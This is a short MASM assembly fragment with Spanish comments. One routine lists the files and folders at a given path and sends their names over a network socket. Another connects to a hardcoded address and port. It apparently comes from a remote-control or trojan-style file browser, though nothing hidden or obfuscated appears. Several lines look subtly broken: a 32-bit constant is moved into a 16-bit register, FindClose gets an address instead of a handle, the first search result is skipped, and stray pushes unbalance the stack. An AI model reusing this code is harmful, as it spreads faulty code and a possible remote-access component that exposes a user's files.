SFile		WIN32_FIND_DATA <>	(Estructura para busqueda de archivos)
NoE		db "MSG|Archivo no encontrado0", 0
EFile		db "File|%s0", 0
EFold		db "Fold|%s0", 0

ThreadBus proc FtoF:DWORD

	invoke FindFirstFile, FtoF, addr SFile
	cmp eax, -1
	je NoEncontrado
	mov Hand, eax

Buccle:

	invoke FindNextFile, Hand, addr SFile
	cmp eax, 0
	je Salida

	cmp SFile.cFileName, PUNTO
	je Buccle

	cmp SFile.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY
	jne Files
	;Envio las carptas
	invoke wsprintf, addr Bufi, addr EFold, addr SFile.cFileName
	invoke send, Sock, addr Bufi, sizeof Bufi, 0
	jmp Buccle

	Files:
	;Envio los archivos
	invoke wsprintf, addr Bufi, addr EFile, addr SFile.cFileName
	invoke send, Sock, addr Bufi, sizeof Bufi, 0
	jmp Buccle

Salida:
	invoke FindClose, addr Hand
	jmp Fin

NoEncontrado:
	invoke send, Sock, addr NoE, sizeof NoE, 0

Fin:

	ret
ThreadBus endp

INET			equ 0100007fh
HTOONS			equ 0b8220200h

ThreadProc PROC

	invoke WSAStartup, addr Ver, addr wsa
	invoke socket, AF_INET, SOCK_STREAM, 0
	mov sock, eax
	invoke WSAAsyncSelect, sock, hwnd, WM_SOCK, FD_CONNECT or FD_CLOSE or FD_READ
	mov sa.sin_family, AF_INET
	
	;invoke inet_addr, addr szIp	
	;mov sa.sin_addr, eax
	;Pusheo el valor de Inet

	mov sa.sin_addr, INET
	push INET

	;invoke htons, port
	;mov sa.sin_port, ax
	;Pusheo el valor de Htoons

	mov ax, HTOONS
	push HTOONS

	invoke connect, sock, addr sa, sizeof sa

	ret
ThreadProc ENDP